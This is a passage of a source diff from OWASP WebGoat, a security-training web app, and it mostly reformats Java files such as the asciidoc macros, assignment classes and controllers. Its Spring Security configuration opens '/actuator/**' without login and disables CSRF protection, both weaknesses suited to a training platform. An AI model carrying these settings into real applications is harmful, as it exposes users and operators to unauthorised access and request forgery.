-    ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =
+        ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = http
-        http.authorizeRequests()
+                .authorizeRequests()
-            .antMatchers(
+                .antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**", "/registration", "/register.mvc", "/actuator/**").permitAll()
-                "/css/**",
+                .anyRequest().authenticated();
-                "/images/**",
+        security.and()
-                "/js/**",
-                "fonts/**",
-                "/plugins/**",
-                "/registration",
-                "/register.mvc",
-                "/actuator/**")
-            .permitAll()
-            .anyRequest()
-            .authenticated();
-    security
-        .and()
                 .formLogin()
                 .loginPage("/login")
                 .defaultSuccessUrl("/welcome.mvc", true)
                 .usernameParameter("username")
                 .passwordParameter("password")
                 .permitAll();
-    security.and().logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
+        security.and()
+                .logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
         security.and().csrf().disable();
 
         http.headers().cacheControl().disable();

src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java

@@ -7,8 +7,7 @@ import org.springframework.core.env.Environment;
 import org.springframework.stereotype.Component;
 
 /**
- * Make environment available in the asciidoc code (which you cannot inject because it is handled by
+ * Make environment available in the asciidoc code (which you cannot inject because it is handled by the framework)
- * the framework)
  */
 @Component
 public class EnvironmentExposure implements ApplicationContextAware {

src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java

@@ -1,9 +1,10 @@
 package org.owasp.webgoat.container.asciidoc;
 
-import java.util.Map;
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
 
+import java.util.Map;
+
 public class OperatingSystemMacro extends InlineMacroProcessor {
 
     public OperatingSystemMacro(String macroName) {
@@ -18,8 +19,7 @@ public class OperatingSystemMacro extends InlineMacroProcessor {
     public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
         var osName = System.getProperty("os.name");
 
-    // see
+        //see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
-    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
         return createPhraseNode(contentNode, "quoted", osName);
     }
 }

src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java

@@ -1,11 +1,12 @@
 package org.owasp.webgoat.container.asciidoc;
 
-import java.util.Map;
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
 import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.security.core.context.SecurityContextHolder;
 
+import java.util.Map;
+
 public class UsernameMacro extends InlineMacroProcessor {
 
     public UsernameMacro(String macroName) {
@@ -24,8 +25,7 @@ public class UsernameMacro extends InlineMacroProcessor {
             username = webGoatUser.getUsername();
         }
 
-    // see
+        //see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
-    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
         return createPhraseNode(contentNode, "quoted", username);
     }
 }

src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java

@@ -1,9 +1,10 @@
 package org.owasp.webgoat.container.asciidoc;
 
-import java.util.Map;
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
 
+import java.util.Map;
+
 public class WebGoatTmpDirMacro extends InlineMacroProcessor {
 
     public WebGoatTmpDirMacro(String macroName) {
@@ -18,8 +19,8 @@ public class WebGoatTmpDirMacro extends InlineMacroProcessor {
 	public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
         var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
 
-    // see
+        //see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
-    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
         return createPhraseNode(contentNode, "quoted", env);
+
     }
 }

src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java

@@ -1,9 +1,10 @@
 package org.owasp.webgoat.container.asciidoc;
 
-import java.util.Map;
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
 
+import java.util.Map;
+
 public class WebGoatVersionMacro extends InlineMacroProcessor {
 
     public WebGoatVersionMacro(String macroName) {
@@ -18,8 +19,7 @@ public class WebGoatVersionMacro extends InlineMacroProcessor {
 	public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
         var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
 
-    // see
+        //see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
-    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
         return createPhraseNode(contentNode, "quoted", webgoatVersion);
     }
 }

src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java

@@ -1,17 +1,18 @@
 package org.owasp.webgoat.container.asciidoc;
 
-import java.util.HashMap;
-import java.util.Map;
-import javax.servlet.http.HttpServletRequest;
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
 import org.springframework.web.context.request.RequestContextHolder;
 import org.springframework.web.context.request.ServletRequestAttributes;
 
+import javax.servlet.http.HttpServletRequest;
+import java.util.HashMap;
+import java.util.Map;
+
 /**
  * Usage in asciidoc:
- *
+ * <p>
- * <p>webWolfLink:here[] will display a href with here as text
+ * webWolfLink:here[] will display a href with here as text
  */
 public class WebWolfMacro extends InlineMacroProcessor {
 
@@ -30,7 +31,7 @@ public class WebWolfMacro extends InlineMacroProcessor {
         var target = (String) attributes.getOrDefault("target", "home");
         var href = hostname + "/" + target;
 
-    // are we using noLink in webWolfLink:landing[noLink]? Then display link with full href
+        //are we using noLink in webWolfLink:landing[noLink]? Then display link with full href
         if (displayCompleteLinkNoFormatting(attributes)) {
             linkText = href;
         }
@@ -47,15 +48,14 @@ public class WebWolfMacro extends InlineMacroProcessor {
     }
 
     /**
-   * Determine the host from the hostname and ports that were used. The purpose is to make it
+     * Determine the host from the hostname and ports that were used.
-   * possible to use the application behind a reverse proxy. For instance in the docker
+     * The purpose is to make it possible to use the application behind a reverse proxy. For instance in the docker
-   * compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the
+     * compose/stack version with webgoat webwolf and nginx proxy.
-   * indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1
+     * You do not have to use the indicated hostname, but if you do, you should define two hosts aliases
-   * www.webgoat.local www.webwolf.local
+     * 127.0.0.1 www.webgoat.local www.webwolf.local
      */
     private String determineHost(String port) {
-    HttpServletRequest request =
+        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
-        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
         String host = request.getHeader("Host");
         int semicolonIndex = host.indexOf(":");
         if (semicolonIndex == -1 || host.endsWith(":80")) {

src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java

@@ -4,9 +4,9 @@ import java.util.Map;
 
 /**
  * Usage in asciidoc:
- *
+ * <p>
- * <p>webWolfLink:here[] will display a href with here as text webWolfLink:landing[noLink] will
+ * webWolfLink:here[] will display a href with here as text
- * display the complete url, for example: http://WW_HOST:WW_PORT/landing
+ * webWolfLink:landing[noLink] will display the complete url, for example: http://WW_HOST:WW_PORT/landing
  */
 public class WebWolfRootMacro extends WebWolfMacro {
 

src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java

@@ -35,9 +35,13 @@ import org.springframework.beans.factory.annotation.Autowired;
 
 public abstract class AssignmentEndpoint implements Initializeable {
 
-  @Autowired private WebSession webSession;
+    @Autowired
-  @Autowired private UserSessionData userSessionData;
+    private WebSession webSession;
-  @Getter @Autowired private PluginMessages messages;
+    @Autowired
+    private UserSessionData userSessionData;
+    @Getter
+    @Autowired
+    private PluginMessages messages;
 
     protected WebSession getWebSession() {
         return webSession;
@@ -49,38 +53,32 @@ public abstract class AssignmentEndpoint implements Initializeable {
 
     /**
      * Convenience method for create a successful result:
-   *
+     * <p>
-   * <p>- Assignment is set to solved - Feedback message is set to 'assignment.solved'
+     * - Assignment is set to solved
-   *
+     * - Feedback message is set to 'assignment.solved'
-   * <p>Of course you can overwrite these values in a specific lesson
+     * <p>
+     * Of course you can overwrite these values in a specific lesson
      *
      * @return a builder for creating a result from a lesson
      * @param assignment
      */
     protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) {
-    return AttackResult.builder(messages)
+        return AttackResult.builder(messages).lessonCompleted(true).attemptWasMade().feedback("assignment.solved").assignment(assignment);
-        .lessonCompleted(true)
-        .attemptWasMade()
-        .feedback("assignment.solved")
-        .assignment(assignment);
     }
 
     /**
      * Convenience method for create a failed result:
-   *
+     * <p>
-   * <p>- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved'
+     * - Assignment is set to not solved
-   *
+     * - Feedback message is set to 'assignment.not.solved'
-   * <p>Of course you can overwrite these values in a specific lesson
+     * <p>
+     * Of course you can overwrite these values in a specific lesson
      *
      * @return a builder for creating a result from a lesson
      * @param assignment
      */
     protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) {
-    return AttackResult.builder(messages)
+        return AttackResult.builder(messages).lessonCompleted(false).attemptWasMade().feedback("assignment.not.solved").assignment(assignment);
-        .lessonCompleted(false)
-        .attemptWasMade()
-        .feedback("assignment.not.solved")
-        .assignment(assignment);
     }
 
     protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
@@ -88,5 +86,6 @@ public abstract class AssignmentEndpoint implements Initializeable {
     }
 
     @Override
-  public void initialize(WebGoatUser user) {}
+    public void initialize(WebGoatUser user) {
+    }
 }

src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java

@@ -5,7 +5,9 @@ import java.lang.annotation.Retention;
 import java.lang.annotation.RetentionPolicy;
 import java.lang.annotation.Target;
 
-/** Created by nbaars on 1/14/17. */
+/**
+ * Created by nbaars on 1/14/17.
+ */
 @Target(ElementType.TYPE)
 @Retention(RetentionPolicy.RUNTIME)
 public @interface AssignmentHints {

src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java

@@ -1,12 +1,15 @@
 package org.owasp.webgoat.container.assignments;
 
+import org.springframework.web.bind.annotation.RequestMethod;
+
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
 import java.lang.annotation.RetentionPolicy;
 import java.lang.annotation.Target;
-import org.springframework.web.bind.annotation.RequestMethod;
 
-/** Created by nbaars on 1/14/17. */
+/**
+ * Created by nbaars on 1/14/17.
+ */
 @Target(ElementType.TYPE)
 @Retention(RetentionPolicy.RUNTIME)
 public @interface AssignmentPath {

src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java

@@ -25,13 +25,14 @@
 
 package org.owasp.webgoat.container.assignments;
 
-import static org.apache.commons.text.StringEscapeUtils.escapeJson;
-
 import lombok.Getter;
 import org.owasp.webgoat.container.i18n.PluginMessages;
 
+import static org.apache.commons.text.StringEscapeUtils.escapeJson;
+
 public class AttackResult {
 
+
     public static class AttackResultBuilder {
 
         private boolean lessonCompleted;
@@ -85,12 +86,7 @@ public class AttackResult {
         }
 
         public AttackResult build() {
-      return new AttackResult(
+            return new AttackResult(lessonCompleted, messages.getMessage(feedbackResourceBundleKey, feedbackArgs), messages.getMessage(output, output, outputArgs), assignment.getClass().getSimpleName(), attemptWasMade);
-          lessonCompleted,
-          messages.getMessage(feedbackResourceBundleKey, feedbackArgs),
-          messages.getMessage(output, output, outputArgs),
-          assignment.getClass().getSimpleName(),
-          attemptWasMade);
         }
 
         public AttackResultBuilder assignment(AssignmentEndpoint assignment) {
@@ -99,18 +95,18 @@ public class AttackResult {
         }
     }
 
-  @Getter private boolean lessonCompleted;
+    @Getter
-  @Getter private String feedback;
+    private boolean lessonCompleted;
-  @Getter private String output;
+    @Getter
-  @Getter private final String assignment;
+    private String feedback;
-  @Getter private boolean attemptWasMade;
+    @Getter
+    private String output;
+    @Getter
+    private final String assignment;
+    @Getter
+    private boolean attemptWasMade;
 
-  public AttackResult(
+    public AttackResult(boolean lessonCompleted, String feedback, String output, String assignment, boolean attemptWasMade) {
-      boolean lessonCompleted,
-      String feedback,
-      String output,
-      String assignment,
-      boolean attemptWasMade) {
         this.lessonCompleted = lessonCompleted;
         this.feedback = escapeJson(feedback);
         this.output = escapeJson(output);

src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java

@@ -39,32 +39,25 @@ public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
     private UserTrackerRepository userTrackerRepository;
     private WebSession webSession;
 
-  public LessonTrackerInterceptor(
+    public LessonTrackerInterceptor(UserTrackerRepository userTrackerRepository, WebSession webSession) {
-      UserTrackerRepository userTrackerRepository, WebSession webSession) {
         this.userTrackerRepository = userTrackerRepository;
         this.webSession = webSession;
     }
 
     @Override
-  public boolean supports(
+    public boolean supports(MethodParameter methodParameter, Class<? extends HttpMessageConverter<?>> clazz) {
-      MethodParameter methodParameter, Class<? extends HttpMessageConverter<?>> clazz) {
         return true;
     }
 
     @Override
-  public Object beforeBodyWrite(
+    public Object beforeBodyWrite(Object o, MethodParameter methodParameter, MediaType mediaType, Class<? extends HttpMessageConverter<?>> aClass, ServerHttpRequest serverHttpRequest, ServerHttpResponse serverHttpResponse) {
-      Object o,
-      MethodParameter methodParameter,
-      MediaType mediaType,
-      Class<? extends HttpMessageConverter<?>> aClass,
-      ServerHttpRequest serverHttpRequest,
-      ServerHttpResponse serverHttpResponse) {
         if (o instanceof AttackResult attackResult) {
             trackProgress(attackResult);
         }
         return o;
     }
 
+
     protected AttackResult trackProgress(AttackResult attackResult) {
         UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
         if (userTracker == null) {

src/main/java/org/owasp/webgoat/container/controller/StartLesson.java

@@ -1,37 +1,36 @@
 /**
  * ************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
  * please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
  * GNU General Public License as published by the Free Software Foundation; either version 2 of the
  * License, or (at your option) any later version.
- *
+ * <p>
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * GNU General Public License for more details.
+ * General Public License for more details.
- *
+ * <p>
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * You should have received a copy of the GNU General Public License along with this program; if
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
- *
+ * <p>
- * <p>Getting Source ==============
+ * Getting Source ==============
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
- * for free software projects.
+ * projects.
  *
  * @author WebGoat
  * @version $Id: $Id
  * @since October 28, 2003
  */
+
 package org.owasp.webgoat.container.controller;
 
-import javax.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.session.Course;
 import org.owasp.webgoat.container.session.WebSession;
 import org.springframework.stereotype.Controller;
@@ -39,6 +38,9 @@ import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestMethod;
 import org.springframework.web.servlet.ModelAndView;
 
+import javax.servlet.http.HttpServletRequest;
+
+
 @Controller
 public class StartLesson {
 
@@ -51,13 +53,11 @@ public class StartLesson {
     }
 
     /**
-   * start.
+     * <p>start.</p>
      *
      * @return a {@link ModelAndView} object.
      */
-  @RequestMapping(
+    @RequestMapping(path = "startlesson.mvc", method = {RequestMethod.GET, RequestMethod.POST})
-      path = "startlesson.mvc",
-      method = {RequestMethod.GET, RequestMethod.POST})
     public ModelAndView start() {
         var model = new ModelAndView();
 
@@ -68,23 +68,22 @@ public class StartLesson {
         return model;
     }
 
-  @RequestMapping(
+    @RequestMapping(value = {"*.lesson"}, produces = "text/html")
-      value = {"*.lesson"},
-      produces = "text/html")
     public ModelAndView lessonPage(HttpServletRequest request) {
         var model = new ModelAndView("lesson_content");
         var path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson
         var lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson"));
 
-    course.getLessons().stream()
+        course.getLessons()
+                .stream()
                 .filter(l -> l.getId().equals(lessonName))
                 .findFirst()
-        .ifPresent(
+                .ifPresent(lesson -> {
-            lesson -> {
                     ws.setCurrentLesson(lesson);
                     model.addObject("lesson", lesson);
                 });
 
         return model;
     }
+
 }

src/main/java/org/owasp/webgoat/container/controller/Welcome.java

@@ -1,42 +1,45 @@
 /**
- * ************************************************************************************************
+ *************************************************************************************************
  *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ *
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
  * please see http://www.owasp.org/
  *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
  *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
  * GNU General Public License as published by the Free Software Foundation; either version 2 of the
  * License, or (at your option) any later version.
  *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * GNU General Public License for more details.
+ * General Public License for more details.
  *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * You should have received a copy of the GNU General Public License along with this program; if
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
  *
- * <p>Getting Source ==============
+ * Getting Source ==============
  *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
- * for free software projects.
+ * projects.
  *
  * @author WebGoat
  * @since October 28, 2003
  * @version $Id: $Id
  */
+
 package org.owasp.webgoat.container.controller;
 
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpSession;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.servlet.ModelAndView;
 
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpSession;
+
 /**
- * Welcome class.
+ * <p>Welcome class.</p>
  *
  * @author rlawson
  * @version $Id: $Id
@@ -47,7 +50,7 @@ public class Welcome {
     private static final String WELCOMED = "welcomed";
     
     /**
-   * welcome.
+     * <p>welcome.</p>
      *
      * @param request a {@link javax.servlet.http.HttpServletRequest} object.
      * @return a {@link org.springframework.web.servlet.ModelAndView} object.
@@ -63,9 +66,10 @@ public class Welcome {
             session.setAttribute(WELCOMED, "true");
         }
         
-    // go ahead and send them to webgoat (skip the welcome page)
+        //go ahead and send them to webgoat (skip the welcome page)
         ModelAndView model = new ModelAndView();
         model.setViewName("forward:/attack?start=true");
         return model;
     }
+    
 }

src/main/java/org/owasp/webgoat/container/i18n/Language.java

@@ -25,15 +25,16 @@
 
 package org.owasp.webgoat.container.i18n;
 
-import java.util.Locale;
 import lombok.AllArgsConstructor;
 import org.springframework.web.context.request.RequestContextHolder;
 import org.springframework.web.context.request.ServletRequestAttributes;
 import org.springframework.web.servlet.LocaleResolver;
 
+import java.util.Locale;
+
 /**
- * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the
+ * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the HttpRequest object
- * HttpRequest object when asking for a Locale.
+ * when asking for a Locale.
  *
  * @author nbaars
  * @date 2/7/17
@@ -44,7 +45,7 @@ public class Language {
     private final LocaleResolver localeResolver;
 
     public Locale getLocale() {
-    return localeResolver.resolveLocale(
+        return localeResolver.resolveLocale(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
-        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
     }
+
 }

src/main/java/org/owasp/webgoat/container/i18n/Messages.java

@@ -25,13 +25,14 @@
 
 package org.owasp.webgoat.container.i18n;
 
-import java.util.Properties;
 import lombok.AllArgsConstructor;
 import org.springframework.context.support.ReloadableResourceBundleMessageSource;
 
+import java.util.Properties;
+
 /**
- * ExposedReloadableResourceMessageBundleSource class. Extends the reloadable message source with a
+ * <p>ExposedReloadableResourceMessageBundleSource class.</p>
- * way to get all messages
+ * Extends the reloadable message source with a way to get all messages
  *
  * @author zupzup
  */

src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java

@@ -25,11 +25,12 @@
 
 package org.owasp.webgoat.container.i18n;
 
-import java.io.IOException;
-import java.util.Properties;
 import org.springframework.context.support.ReloadableResourceBundleMessageSource;
 import org.springframework.core.io.support.ResourcePatternResolver;
 
+import java.io.IOException;
+import java.util.Properties;
+
 /**
  * Message resource bundle for plugins.
  *
@@ -42,8 +43,8 @@ public class PluginMessages extends ReloadableResourceBundleMessageSource {
     private final Language language;
     private final ResourcePatternResolver resourcePatternResolver;
 
-  public PluginMessages(
+
-      Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
+    public PluginMessages(Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
         this.language = language;
         this.setParentMessageSource(messages);
         this.setBasename("WebGoatLabels");
@@ -56,9 +57,8 @@ public class PluginMessages extends ReloadableResourceBundleMessageSource {
         long lastModified = System.currentTimeMillis();
 
         try {
-      var resources =
+            var resources = resourcePatternResolver.getResources("classpath:/lessons/**/i18n" +
-          resourcePatternResolver.getResources(
+                    "/WebGoatLabels" + PROPERTIES_SUFFIX);
-              "classpath:/lessons/**/i18n" + "/WebGoatLabels" + PROPERTIES_SUFFIX);
             for (var resource : resources) {
                 String sourcePath = resource.getURI().toString().replace(PROPERTIES_SUFFIX, "");
                 PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
@@ -71,6 +71,7 @@ public class PluginMessages extends ReloadableResourceBundleMessageSource {
         return new PropertiesHolder(properties, lastModified);
     }
 
+
     public Properties getMessages() {
         return getMergedProperties(language.getLocale()).getProperties();
     }

src/main/java/org/owasp/webgoat/container/lessons/Assignment.java

@@ -1,34 +1,34 @@
 package org.owasp.webgoat.container.lessons;
 
+import lombok.*;
+
+import javax.persistence.*;
 import java.util.ArrayList;
 import java.util.List;
-import javax.persistence.*;
-import lombok.*;
 
 /**
  * ************************************************************************************************
  * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
  * please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
  * GNU General Public License as published by the Free Software Foundation; either version 2 of the
  * License, or (at your option) any later version.
- *
+ * <p>
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * GNU General Public License for more details.
+ * General Public License for more details.
- *
+ * <p>
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * You should have received a copy of the GNU General Public License along with this program; if
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
- *
+ * <p>
- * <p>Getting Source ==============
+ * Getting Source ==============
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
- * for free software projects.
+ * projects.
- *
  * <p>
  *
  * @author nbaars
@@ -43,14 +43,14 @@ public class Assignment {
     @Id
     @GeneratedValue(strategy = GenerationType.AUTO)
     private Long id;
-
     private String name;
     private String path;
 
-  @Transient private List<String> hints;
+    @Transient
+    private List<String> hints;
 
     private Assignment() {
-    // Hibernate
+        //Hibernate
     }
 
     public Assignment(String name) {
@@ -59,14 +59,11 @@ public class Assignment {
 
     public Assignment(String name, String path, List<String> hints) {
         if (path.equals("") || path.equals("/") || path.equals("/WebGoat/")) {
-      throw new IllegalStateException(
+            throw new IllegalStateException("The path of assignment '" + name + "' overrides WebGoat endpoints, please choose a path within the scope of the lesson");
-          "The path of assignment '"
-              + name
-              + "' overrides WebGoat endpoints, please choose a path within the scope of the"
-              + " lesson");
         }
         this.name = name;
         this.path = path;
         this.hints = hints;
     }
+
 }

src/main/java/org/owasp/webgoat/container/lessons/Category.java

@@ -4,29 +4,30 @@ import lombok.Getter;
 
 /**
  * *************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project
- * please see http://www.owasp.org/
+ * utility. For details, please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * the terms of the GNU General Public License as published by the Free Software
- * License, or (at your option) any later version.
+ * Foundation; either version 2 of the License, or (at your option) any later
- *
+ * version.
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * <p>
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * This program is distributed in the hope that it will be useful, but WITHOUT
- * GNU General Public License for more details.
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- *
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * details.
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * <p>
- * 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with
- *
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * <p>Getting Source ==============
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
  * for free software projects.
  *
  * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
@@ -34,6 +35,7 @@ import lombok.Getter;
  * @since October 28, 2003
  */
 public enum Category {
+
     INTRODUCTION("Introduction", 5),
     GENERAL("General", 100),
     
@@ -52,14 +54,19 @@ public enum Category {
 
     CHALLENGE("Challenges", 3000);
 
-  @Getter private String name;
+    @Getter
-  @Getter private Integer ranking;
+    private String name;
+    @Getter
+    private Integer ranking;
 
     Category(String name, Integer ranking) {
         this.name = name;
         this.ranking = ranking;
     }
 
+    /**
+     * {@inheritDoc}
+     */
     @Override
     public String toString() {
         return getName();

src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java

@@ -22,11 +22,6 @@
 
 package org.owasp.webgoat.container.lessons;
 
-import static java.util.stream.Collectors.groupingBy;
-
-import java.lang.reflect.Method;
-import java.lang.reflect.ParameterizedType;
-import java.util.*;
 import lombok.extern.slf4j.Slf4j;
 import org.apache.commons.lang3.ArrayUtils;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
@@ -41,6 +36,13 @@ import org.springframework.web.bind.annotation.PostMapping;
 import org.springframework.web.bind.annotation.PutMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 
+import java.lang.reflect.Method;
+import java.lang.reflect.ParameterizedType;
+import java.util.*;
+
+import static java.util.stream.Collectors.groupingBy;
+import static java.util.stream.Collectors.toList;
+
 @Slf4j
 @Configuration
 public class CourseConfiguration {
@@ -52,8 +54,7 @@ public class CourseConfiguration {
     public CourseConfiguration(List<Lesson> lessons, List<AssignmentEndpoint> assignments) {
         this.lessons = lessons;
         this.assignments = assignments;
-    assignmentsByPackage =
+        assignmentsByPackage = this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName()));
-        this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName()));
     }
 
     @Bean
@@ -69,10 +70,7 @@ public class CourseConfiguration {
             return new ArrayList<>();
         }
         return endpoints.stream()
-        .map(
+                .map(e -> new Assignment(e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass())))
-            e ->
